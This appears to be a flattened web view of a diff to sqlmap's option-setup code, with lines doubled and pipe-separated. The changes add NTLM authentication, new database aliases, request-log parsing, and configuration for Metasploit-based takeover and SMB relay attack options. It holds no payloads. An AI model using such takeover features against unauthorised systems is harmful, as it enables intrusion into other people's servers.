from lib.core.exception import sqlmapGenericException
|
from lib.core.exception import sqlmapGenericException
|
||||||
|
from lib.core.exception import sqlmapMissingDependence
|
||||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||||
from lib.core.exception import sqlmapMissingPrivileges
|
from lib.core.exception import sqlmapMissingPrivileges
|
||||||
from lib.core.exception import sqlmapSyntaxException
|
from lib.core.exception import sqlmapSyntaxException
|
||||||
@@ -59,6 +55,9 @@ from lib.core.exception import sqlmapUnsupportedDBMSException
|
|||||||
from lib.core.optiondict import optDict
|
from lib.core.optiondict import optDict
|
||||||
from lib.core.settings import MSSQL_ALIASES
|
from lib.core.settings import MSSQL_ALIASES
|
||||||
from lib.core.settings import MYSQL_ALIASES
|
from lib.core.settings import MYSQL_ALIASES
|
||||||
|
from lib.core.settings import PGSQL_ALIASES
|
||||||
|
from lib.core.settings import ORACLE_ALIASES
|
||||||
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import PLATFORM
|
from lib.core.settings import PLATFORM
|
||||||
from lib.core.settings import SITE
|
from lib.core.settings import SITE
|
||||||
from lib.core.settings import SUPPORTED_DBMS
|
from lib.core.settings import SUPPORTED_DBMS
|
||||||
@@ -70,11 +69,9 @@ from lib.parse.queriesfile import queriesParser
|
|||||||
from lib.request.proxy import ProxyHTTPSHandler
|
from lib.request.proxy import ProxyHTTPSHandler
|
||||||
from lib.utils.google import Google
|
from lib.utils.google import Google
|
||||||
|
|
||||||
|
|
||||||
authHandler = urllib2.BaseHandler()
|
authHandler = urllib2.BaseHandler()
|
||||||
proxyHandler = urllib2.BaseHandler()
|
proxyHandler = urllib2.BaseHandler()
|
||||||
|
|
||||||
|
|
||||||
def __urllib2Opener():
|
def __urllib2Opener():
|
||||||
"""
|
"""
|
||||||
This function creates the urllib2 OpenerDirector.
|
This function creates the urllib2 OpenerDirector.
|
||||||
@@ -85,13 +82,15 @@ def __urllib2Opener():
|
|||||||
|
|
||||||
debugMsg = "creating HTTP requests opener object"
|
debugMsg = "creating HTTP requests opener object"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
conf.cj = cookielib.LWPCookieJar()
|
if conf.dropSetCookie:
|
||||||
opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj))
|
opener = urllib2.build_opener(proxyHandler, authHandler)
|
||||||
|
else:
|
||||||
|
conf.cj = cookielib.LWPCookieJar()
|
||||||
|
opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj))
|
||||||
|
|
||||||
urllib2.install_opener(opener)
|
urllib2.install_opener(opener)
|
||||||
|
|
||||||
|
|
||||||
def __feedTargetsDict(reqFile, addedTargetUrls):
|
def __feedTargetsDict(reqFile, addedTargetUrls):
|
||||||
fp = open(reqFile, "r")
|
fp = open(reqFile, "r")
|
||||||
|
|
||||||
@@ -100,7 +99,17 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
|||||||
|
|
||||||
reqResList = fread.split("======================================================")
|
reqResList = fread.split("======================================================")
|
||||||
|
|
||||||
|
port = None
|
||||||
|
scheme = None
|
||||||
|
|
||||||
for request in reqResList:
|
for request in reqResList:
|
||||||
|
if scheme is None:
|
||||||
|
schemePort = re.search("\d\d[\:|\.]\d\d[\:|\.]\d\d\s+(http[\w]*)\:\/\/.*?\:([\d]+)", request, re.I)
|
||||||
|
|
||||||
|
if schemePort:
|
||||||
|
scheme = schemePort.group(1)
|
||||||
|
port = schemePort.group(2)
|
||||||
|
|
||||||
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
|
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
@@ -134,10 +143,12 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
|||||||
|
|
||||||
getPostReq = True
|
getPostReq = True
|
||||||
|
|
||||||
|
# GET parameters
|
||||||
elif "?" in line and "=" in line and ": " not in line:
|
elif "?" in line and "=" in line and ": " not in line:
|
||||||
data = line
|
data = line
|
||||||
params = True
|
params = True
|
||||||
|
|
||||||
|
# Cookie and Host headers
|
||||||
elif ": " in line:
|
elif ": " in line:
|
||||||
key, value = line.split(": ", 1)
|
key, value = line.split(": ", 1)
|
||||||
|
|
||||||
@@ -146,15 +157,21 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
|||||||
elif key.lower() == "host":
|
elif key.lower() == "host":
|
||||||
host = value
|
host = value
|
||||||
|
|
||||||
|
# POST parameters
|
||||||
|
elif method is not None and method == "POST" and "=" in line:
|
||||||
|
data = line
|
||||||
|
params = True
|
||||||
|
|
||||||
if getPostReq and params:
|
if getPostReq and params:
|
||||||
if not url.startswith("http"):
|
if not url.startswith("http"):
|
||||||
url = "http://%s%s" % (host, url)
|
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
|
||||||
|
scheme = None
|
||||||
|
port = None
|
||||||
|
|
||||||
if not kb.targetUrls or url not in addedTargetUrls:
|
if not kb.targetUrls or url not in addedTargetUrls:
|
||||||
kb.targetUrls.add(( url, method, data, cookie ))
|
kb.targetUrls.add(( url, method, data, cookie ))
|
||||||
addedTargetUrls.add(url)
|
addedTargetUrls.add(url)
|
||||||
|
|
||||||
|
|
||||||
def __setMultipleTargets():
|
def __setMultipleTargets():
|
||||||
"""
|
"""
|
||||||
Define a configuration parameter if we are running in multiple target
|
Define a configuration parameter if we are running in multiple target
|
||||||
@@ -199,7 +216,6 @@ def __setMultipleTargets():
|
|||||||
infoMsg += "testable requests from the targets list"
|
infoMsg += "testable requests from the targets list"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
|
||||||
def __setGoogleDorking():
|
def __setGoogleDorking():
|
||||||
"""
|
"""
|
||||||
This function checks if the way to request testable hosts is through
|
This function checks if the way to request testable hosts is through
|
||||||
@@ -247,29 +263,44 @@ def __setGoogleDorking():
|
|||||||
errMsg += "have GET parameters to test for SQL injection"
|
errMsg += "have GET parameters to test for SQL injection"
|
||||||
raise sqlmapGenericException, errMsg
|
raise sqlmapGenericException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def __setMetasploit():
|
def __setMetasploit():
|
||||||
if not conf.osPwn and not conf.osSmb and not conf.osBof:
|
if not conf.osPwn and not conf.osSmb and not conf.osBof:
|
||||||
return
|
return
|
||||||
|
|
||||||
|
debugMsg = "setting the takeover out-of-band functionality"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
msfEnvPathExists = False
|
||||||
|
|
||||||
|
if IS_WIN:
|
||||||
|
warnMsg = "Metasploit's msfconsole and msfcli are not supported "
|
||||||
|
warnMsg += "on the native Windows Ruby interpreter. Please "
|
||||||
|
warnMsg += "install Metasploit, Python interpreter and sqlmap on "
|
||||||
|
warnMsg += "Cygwin or use Linux in VMWare to use sqlmap takeover "
|
||||||
|
warnMsg += "out-of-band features. sqlmap will now continue "
|
||||||
|
warnMsg += "without calling any takeover feature"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
conf.osPwn = None
|
||||||
|
conf.osSmb = None
|
||||||
|
conf.osBof = None
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
if conf.osSmb:
|
if conf.osSmb:
|
||||||
isAdmin = False
|
isAdmin = False
|
||||||
|
|
||||||
if "win" in PLATFORM:
|
if "linux" in PLATFORM or "darwin" in PLATFORM:
|
||||||
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
|
|
||||||
|
|
||||||
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
|
|
||||||
isAdmin = True
|
|
||||||
|
|
||||||
elif "linux" in PLATFORM:
|
|
||||||
isAdmin = os.geteuid()
|
isAdmin = os.geteuid()
|
||||||
|
|
||||||
if isinstance(isAdmin, (int, float, long)) and isAdmin == 0:
|
if isinstance(isAdmin, (int, float, long)) and isAdmin == 0:
|
||||||
isAdmin = True
|
isAdmin = True
|
||||||
|
|
||||||
# TODO: add support for Mac OS X
|
elif IS_WIN:
|
||||||
#elif "darwin" in PLATFORM:
|
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
|
||||||
# pass
|
|
||||||
|
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
|
||||||
|
isAdmin = True
|
||||||
|
|
||||||
else:
|
else:
|
||||||
warnMsg = "sqlmap is not able to check if you are running it "
|
warnMsg = "sqlmap is not able to check if you are running it "
|
||||||
@@ -281,24 +312,19 @@ def __setMetasploit():
|
|||||||
|
|
||||||
isAdmin = True
|
isAdmin = True
|
||||||
|
|
||||||
if isAdmin != True:
|
if isAdmin is not True:
|
||||||
errMsg = "you need to run sqlmap as an administrator/root "
|
errMsg = "you need to run sqlmap as an Administrator/root "
|
||||||
errMsg += "user if you want to perform a SMB relay attack "
|
errMsg += "user if you want to perform a SMB relay attack "
|
||||||
errMsg += "because it will need to listen on a user-specified "
|
errMsg += "because it will need to listen on a user-specified "
|
||||||
errMsg += "SMB TCP port for incoming connection attempts"
|
errMsg += "SMB TCP port for incoming connection attempts"
|
||||||
raise sqlmapMissingPrivileges, errMsg
|
raise sqlmapMissingPrivileges, errMsg
|
||||||
|
|
||||||
debugMsg = "setting the out-of-band functionality"
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
msfEnvPathExists = False
|
|
||||||
|
|
||||||
if conf.msfPath:
|
if conf.msfPath:
|
||||||
condition = os.path.exists(os.path.normpath(conf.msfPath))
|
condition = os.path.exists(os.path.normpath(conf.msfPath))
|
||||||
condition &= os.path.exists(os.path.normpath("%s/msfcli" % conf.msfPath))
|
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfcli")))
|
||||||
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % conf.msfPath))
|
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfconsole")))
|
||||||
condition &= os.path.exists(os.path.normpath("%s/msfencode" % conf.msfPath))
|
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfencode")))
|
||||||
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % conf.msfPath))
|
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfpayload")))
|
||||||
|
|
||||||
if condition:
|
if condition:
|
||||||
debugMsg = "provided Metasploit Framework 3 path "
|
debugMsg = "provided Metasploit Framework 3 path "
|
||||||
@@ -319,24 +345,25 @@ def __setMetasploit():
|
|||||||
warnMsg += "Framework 3 is installed"
|
warnMsg += "Framework 3 is installed"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if msfEnvPathExists != True:
|
if not msfEnvPathExists:
|
||||||
warnMsg = "sqlmap is going to look for Metasploit Framework 3 "
|
warnMsg = "sqlmap is going to look for Metasploit Framework 3 "
|
||||||
warnMsg += "installation into the environment paths"
|
warnMsg += "installation into the environment paths"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
envPaths = os.environ["PATH"]
|
envPaths = os.environ["PATH"]
|
||||||
|
|
||||||
if "win" in PLATFORM:
|
if IS_WIN:
|
||||||
envPaths = envPaths.split(";")
|
envPaths = envPaths.split(";")
|
||||||
else:
|
else:
|
||||||
envPaths = envPaths.split(":")
|
envPaths = envPaths.split(":")
|
||||||
|
|
||||||
for envPath in envPaths:
|
for envPath in envPaths:
|
||||||
|
envPath = envPath.replace(";", "")
|
||||||
condition = os.path.exists(os.path.normpath(envPath))
|
condition = os.path.exists(os.path.normpath(envPath))
|
||||||
condition &= os.path.exists(os.path.normpath("%s/msfcli" % envPath))
|
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfcli")))
|
||||||
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % envPath))
|
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfconsole")))
|
||||||
condition &= os.path.exists(os.path.normpath("%s/msfencode" % envPath))
|
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfencode")))
|
||||||
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % envPath))
|
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfpayload")))
|
||||||
|
|
||||||
if condition:
|
if condition:
|
||||||
infoMsg = "Metasploit Framework 3 has been found "
|
infoMsg = "Metasploit Framework 3 has been found "
|
||||||
@@ -348,12 +375,11 @@ def __setMetasploit():
|
|||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
if msfEnvPathExists != True:
|
if not msfEnvPathExists:
|
||||||
errMsg = "unable to locate Metasploit Framework 3 installation. "
|
errMsg = "unable to locate Metasploit Framework 3 installation. "
|
||||||
errMsg += "Get it from http://metasploit.com/framework/download/"
|
errMsg += "Get it from http://metasploit.com/framework/download/"
|
||||||
raise sqlmapFilePathException, errMsg
|
raise sqlmapFilePathException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def __setWriteFile():
|
def __setWriteFile():
|
||||||
if not conf.wFile:
|
if not conf.wFile:
|
||||||
return
|
return
|
||||||
@@ -372,9 +398,8 @@ def __setWriteFile():
|
|||||||
|
|
||||||
conf.wFileType = getFileType(conf.wFile)
|
conf.wFileType = getFileType(conf.wFile)
|
||||||
|
|
||||||
|
|
||||||
def __setUnionTech():
|
def __setUnionTech():
|
||||||
if conf.uTech == None:
|
if conf.uTech is None:
|
||||||
conf.uTech = "NULL"
|
conf.uTech = "NULL"
|
||||||
|
|
||||||
return
|
return
|
||||||
@@ -397,7 +422,6 @@ def __setUnionTech():
|
|||||||
debugMsg += "'%s'" % uTechOriginal
|
debugMsg += "'%s'" % uTechOriginal
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
|
||||||
def __setOS():
|
def __setOS():
|
||||||
"""
|
"""
|
||||||
Force the back-end DBMS operating system option.
|
Force the back-end DBMS operating system option.
|
||||||
@@ -420,7 +444,6 @@ def __setOS():
|
|||||||
errMsg += "you."
|
errMsg += "you."
|
||||||
raise sqlmapUnsupportedDBMSException, errMsg
|
raise sqlmapUnsupportedDBMSException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def __setDBMS():
|
def __setDBMS():
|
||||||
"""
|
"""
|
||||||
Force the back-end DBMS option.
|
Force the back-end DBMS option.
|
||||||
@@ -433,8 +456,10 @@ def __setDBMS():
|
|||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
conf.dbms = conf.dbms.lower()
|
conf.dbms = conf.dbms.lower()
|
||||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
"|".join([alias for alias in MYSQL_ALIASES]),
|
||||||
|
"|".join([alias for alias in PGSQL_ALIASES]),
|
||||||
|
"|".join([alias for alias in ORACLE_ALIASES]))
|
||||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
|
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
|
||||||
|
|
||||||
if dbmsRegExp:
|
if dbmsRegExp:
|
||||||
@@ -449,12 +474,10 @@ def __setDBMS():
|
|||||||
errMsg += "fingerprint it for you."
|
errMsg += "fingerprint it for you."
|
||||||
raise sqlmapUnsupportedDBMSException, errMsg
|
raise sqlmapUnsupportedDBMSException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def __setThreads():
|
def __setThreads():
|
||||||
if not isinstance(conf.threads, int) or conf.threads <= 0:
|
if not isinstance(conf.threads, int) or conf.threads <= 0:
|
||||||
conf.threads = 1
|
conf.threads = 1
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPProxy():
|
def __setHTTPProxy():
|
||||||
"""
|
"""
|
||||||
Check and set the HTTP proxy to pass by all HTTP requests.
|
Check and set the HTTP proxy to pass by all HTTP requests.
|
||||||
@@ -465,8 +488,6 @@ def __setHTTPProxy():
|
|||||||
if not conf.proxy:
|
if not conf.proxy:
|
||||||
return
|
return
|
||||||
|
|
||||||
parseTargetUrl()
|
|
||||||
|
|
||||||
debugMsg = "setting the HTTP proxy to pass by all HTTP requests"
|
debugMsg = "setting the HTTP proxy to pass by all HTTP requests"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
@@ -488,17 +509,16 @@ def __setHTTPProxy():
|
|||||||
|
|
||||||
# Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2:
|
# Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2:
|
||||||
# HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests
|
# HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests
|
||||||
# can't be tunneled over an HTTP proxy natively by Python urllib2
|
# can't be tunneled over an HTTP proxy natively by Python (<= 2.5)
|
||||||
# standard library
|
# urllib2 standard library
|
||||||
if conf.scheme == "https":
|
if conf.scheme == "https":
|
||||||
proxyHandler = ProxyHTTPSHandler(__proxyString)
|
proxyHandler = ProxyHTTPSHandler(__proxyString)
|
||||||
else:
|
else:
|
||||||
proxyHandler = urllib2.ProxyHandler({"http": __proxyString})
|
proxyHandler = urllib2.ProxyHandler({"http": __proxyString})
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPAuthentication():
|
def __setHTTPAuthentication():
|
||||||
"""
|
"""
|
||||||
Check and set the HTTP authentication method (Basic or Digest),
|
Check and set the HTTP authentication method (Basic, Digest or NTLM),
|
||||||
username and password to perform HTTP requests with.
|
username and password to perform HTTP requests with.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -508,31 +528,29 @@ def __setHTTPAuthentication():
|
|||||||
return
|
return
|
||||||
|
|
||||||
elif conf.aType and not conf.aCred:
|
elif conf.aType and not conf.aCred:
|
||||||
errMsg = "you specified the HTTP Authentication type, but "
|
errMsg = "you specified the HTTP authentication type, but "
|
||||||
errMsg += "did not provide the credentials"
|
errMsg += "did not provide the credentials"
|
||||||
raise sqlmapSyntaxException, errMsg
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
elif not conf.aType and conf.aCred:
|
elif not conf.aType and conf.aCred:
|
||||||
errMsg = "you specified the HTTP Authentication credentials, "
|
errMsg = "you specified the HTTP authentication credentials, "
|
||||||
errMsg += "but did not provide the type"
|
errMsg += "but did not provide the type"
|
||||||
raise sqlmapSyntaxException, errMsg
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
parseTargetUrl()
|
debugMsg = "setting the HTTP authentication type and credentials"
|
||||||
|
|
||||||
debugMsg = "setting the HTTP Authentication type and credentials"
|
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
aTypeLower = conf.aType.lower()
|
aTypeLower = conf.aType.lower()
|
||||||
|
|
||||||
if aTypeLower not in ( "basic", "digest" ):
|
if aTypeLower not in ( "basic", "digest", "ntlm" ):
|
||||||
errMsg = "HTTP Authentication type value must be "
|
errMsg = "HTTP authentication type value must be "
|
||||||
errMsg += "Basic or Digest"
|
errMsg += "Basic, Digest or NTLM"
|
||||||
raise sqlmapSyntaxException, errMsg
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
|
aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
|
||||||
|
|
||||||
if not aCredRegExp:
|
if not aCredRegExp:
|
||||||
errMsg = "HTTP Authentication credentials value must be "
|
errMsg = "HTTP authentication credentials value must be "
|
||||||
errMsg += "in format username:password"
|
errMsg += "in format username:password"
|
||||||
raise sqlmapSyntaxException, errMsg
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
@@ -544,9 +562,20 @@ def __setHTTPAuthentication():
|
|||||||
|
|
||||||
if aTypeLower == "basic":
|
if aTypeLower == "basic":
|
||||||
authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
|
authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
|
||||||
|
|
||||||
elif aTypeLower == "digest":
|
elif aTypeLower == "digest":
|
||||||
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
|
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
|
||||||
|
|
||||||
|
elif aTypeLower == "ntlm":
|
||||||
|
try:
|
||||||
|
from ntlm import HTTPNtlmAuthHandler
|
||||||
|
except ImportError, _:
|
||||||
|
errMsg = "sqlmap requires Python NTLM third-party library "
|
||||||
|
errMsg += "in order to authenticate via NTLM, "
|
||||||
|
errMsg += "http://code.google.com/p/python-ntlm/"
|
||||||
|
raise sqlmapMissingDependence, errMsg
|
||||||
|
|
||||||
|
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordMgr)
|
||||||
|
|
||||||
def __setHTTPMethod():
|
def __setHTTPMethod():
|
||||||
"""
|
"""
|
||||||
@@ -569,8 +598,10 @@ def __setHTTPMethod():
|
|||||||
debugMsg = "setting the HTTP method to %s" % conf.method
|
debugMsg = "setting the HTTP method to %s" % conf.method
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPExtraHeaders():
|
def __setHTTPExtraHeaders():
|
||||||
|
if conf.hostname:
|
||||||
|
conf.httpHeaders.append(("Host", conf.hostname))
|
||||||
|
|
||||||
if conf.headers:
|
if conf.headers:
|
||||||
debugMsg = "setting extra HTTP headers"
|
debugMsg = "setting extra HTTP headers"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
@@ -588,7 +619,6 @@ def __setHTTPExtraHeaders():
|
|||||||
conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
|
conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
|
||||||
conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
|
conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
|
||||||
|
|
||||||
|
|
||||||
def __defaultHTTPUserAgent():
|
def __defaultHTTPUserAgent():
|
||||||
"""
|
"""
|
||||||
@return: default sqlmap HTTP User-Agent header
|
@return: default sqlmap HTTP User-Agent header
|
||||||
@@ -597,6 +627,12 @@ def __defaultHTTPUserAgent():
|
|||||||
|
|
||||||
return "%s (%s)" % (VERSION_STRING, SITE)
|
return "%s (%s)" % (VERSION_STRING, SITE)
|
||||||
|
|
||||||
|
# Firefox 3 running on Ubuntu 9.04 updated at April 2009
|
||||||
|
#return "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9"
|
||||||
|
|
||||||
|
# Internet Explorer 7.0 running on Windows 2003 Service Pack 2 english
|
||||||
|
# updated at March 2009
|
||||||
|
#return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
|
||||||
|
|
||||||
def __setHTTPUserAgent():
|
def __setHTTPUserAgent():
|
||||||
"""
|
"""
|
||||||
@@ -661,7 +697,6 @@ def __setHTTPUserAgent():
|
|||||||
logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent)
|
logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent)
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPReferer():
|
def __setHTTPReferer():
|
||||||
"""
|
"""
|
||||||
Set the HTTP Referer
|
Set the HTTP Referer
|
||||||
@@ -673,7 +708,6 @@ def __setHTTPReferer():
|
|||||||
|
|
||||||
conf.httpHeaders.append(("Referer", conf.referer))
|
conf.httpHeaders.append(("Referer", conf.referer))
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPCookies():
|
def __setHTTPCookies():
|
||||||
"""
|
"""
|
||||||
Set the HTTP Cookie header
|
Set the HTTP Cookie header
|
||||||
@@ -682,11 +716,12 @@ def __setHTTPCookies():
|
|||||||
if conf.cookie:
|
if conf.cookie:
|
||||||
debugMsg = "setting the HTTP Cookie header"
|
debugMsg = "setting the HTTP Cookie header"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
conf.cookie = sanitizeCookie(conf.cookie, True)
|
||||||
|
|
||||||
conf.httpHeaders.append(("Connection", "Keep-Alive"))
|
conf.httpHeaders.append(("Connection", "Keep-Alive"))
|
||||||
conf.httpHeaders.append(("Cookie", conf.cookie))
|
conf.httpHeaders.append(("Cookie", conf.cookie))
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPTimeout():
|
def __setHTTPTimeout():
|
||||||
"""
|
"""
|
||||||
Set the HTTP timeout
|
Set the HTTP timeout
|
||||||
@@ -709,7 +744,6 @@ def __setHTTPTimeout():
|
|||||||
|
|
||||||
socket.setdefaulttimeout(conf.timeout)
|
socket.setdefaulttimeout(conf.timeout)
|
||||||
|
|
||||||
|
|
||||||
def __cleanupOptions():
|
def __cleanupOptions():
|
||||||
"""
|
"""
|
||||||
Cleanup configuration attributes.
|
Cleanup configuration attributes.
|
||||||
@@ -757,7 +791,6 @@ def __cleanupOptions():
|
|||||||
if conf.googleDork or conf.list:
|
if conf.googleDork or conf.list:
|
||||||
conf.multipleTargets = True
|
conf.multipleTargets = True
|
||||||
|
|
||||||
|
|
||||||
def __setConfAttributes():
|
def __setConfAttributes():
|
||||||
"""
|
"""
|
||||||
This function set some needed attributes into the configuration
|
This function set some needed attributes into the configuration
|
||||||
@@ -792,7 +825,6 @@ def __setConfAttributes():
|
|||||||
conf.threadException = False
|
conf.threadException = False
|
||||||
conf.wFileType = None
|
conf.wFileType = None
|
||||||
|
|
||||||
|
|
||||||
def __setKnowledgeBaseAttributes():
|
def __setKnowledgeBaseAttributes():
|
||||||
"""
|
"""
|
||||||
This function set some needed attributes into the knowledge base
|
This function set some needed attributes into the knowledge base
|
||||||
@@ -811,7 +843,7 @@ def __setKnowledgeBaseAttributes():
|
|||||||
kb.dbmsDetected = False
|
kb.dbmsDetected = False
|
||||||
|
|
||||||
# Active (extensive) back-end DBMS fingerprint
|
# Active (extensive) back-end DBMS fingerprint
|
||||||
kb.dbmsVersion = []
|
kb.dbmsVersion = [ "Unknown" ]
|
||||||
|
|
||||||
kb.dep = None
|
kb.dep = None
|
||||||
kb.docRoot = None
|
kb.docRoot = None
|
||||||
@@ -823,7 +855,7 @@ def __setKnowledgeBaseAttributes():
|
|||||||
kb.injType = None
|
kb.injType = None
|
||||||
|
|
||||||
# Back-end DBMS underlying operating system fingerprint via banner (-b)
|
# Back-end DBMS underlying operating system fingerprint via banner (-b)
|
||||||
# parsing or when knowing the OS is mandatory (i.g. dealing with DEP)
|
# parsing
|
||||||
kb.os = None
|
kb.os = None
|
||||||
kb.osVersion = None
|
kb.osVersion = None
|
||||||
kb.osSP = None
|
kb.osSP = None
|
||||||
@@ -837,7 +869,6 @@ def __setKnowledgeBaseAttributes():
|
|||||||
kb.unionCount = None
|
kb.unionCount = None
|
||||||
kb.unionPosition = None
|
kb.unionPosition = None
|
||||||
|
|
||||||
|
|
||||||
def __saveCmdline():
|
def __saveCmdline():
|
||||||
"""
|
"""
|
||||||
Saves the command line options on a sqlmap configuration INI file
|
Saves the command line options on a sqlmap configuration INI file
|
||||||
@@ -867,7 +898,7 @@ def __saveCmdline():
|
|||||||
optionData.sort()
|
optionData.sort()
|
||||||
|
|
||||||
for option, value, datatype in optionData:
|
for option, value, datatype in optionData:
|
||||||
if value == None:
|
if value is None:
|
||||||
if datatype == "boolean":
|
if datatype == "boolean":
|
||||||
value = "False"
|
value = "False"
|
||||||
elif datatype in ( "integer", "float" ):
|
elif datatype in ( "integer", "float" ):
|
||||||
@@ -891,13 +922,12 @@ def __saveCmdline():
|
|||||||
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
|
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
|
||||||
def __setVerbosity():
|
def __setVerbosity():
|
||||||
"""
|
"""
|
||||||
This function set the verbosity of sqlmap output messages.
|
This function set the verbosity of sqlmap output messages.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if conf.verbose == None:
|
if conf.verbose is None:
|
||||||
conf.verbose = 1
|
conf.verbose = 1
|
||||||
|
|
||||||
conf.verbose = int(conf.verbose)
|
conf.verbose = int(conf.verbose)
|
||||||
@@ -914,7 +944,6 @@ def __setVerbosity():
|
|||||||
elif conf.verbose >= 4:
|
elif conf.verbose >= 4:
|
||||||
logger.setLevel(8)
|
logger.setLevel(8)
|
||||||
|
|
||||||
|
|
||||||
def __mergeOptions(inputOptions):
|
def __mergeOptions(inputOptions):
|
||||||
"""
|
"""
|
||||||
Merge command line options with configuration file options.
|
Merge command line options with configuration file options.
|
||||||
@@ -926,10 +955,14 @@ def __mergeOptions(inputOptions):
|
|||||||
if inputOptions.configFile:
|
if inputOptions.configFile:
|
||||||
configFileParser(inputOptions.configFile)
|
configFileParser(inputOptions.configFile)
|
||||||
|
|
||||||
for key, value in inputOptions.__dict__.items():
|
if hasattr(inputOptions, "items"):
|
||||||
if not conf.has_key(key) or conf[key] == None or value != None:
|
inputOptionsItems = inputOptions.items()
|
||||||
conf[key] = value
|
else:
|
||||||
|
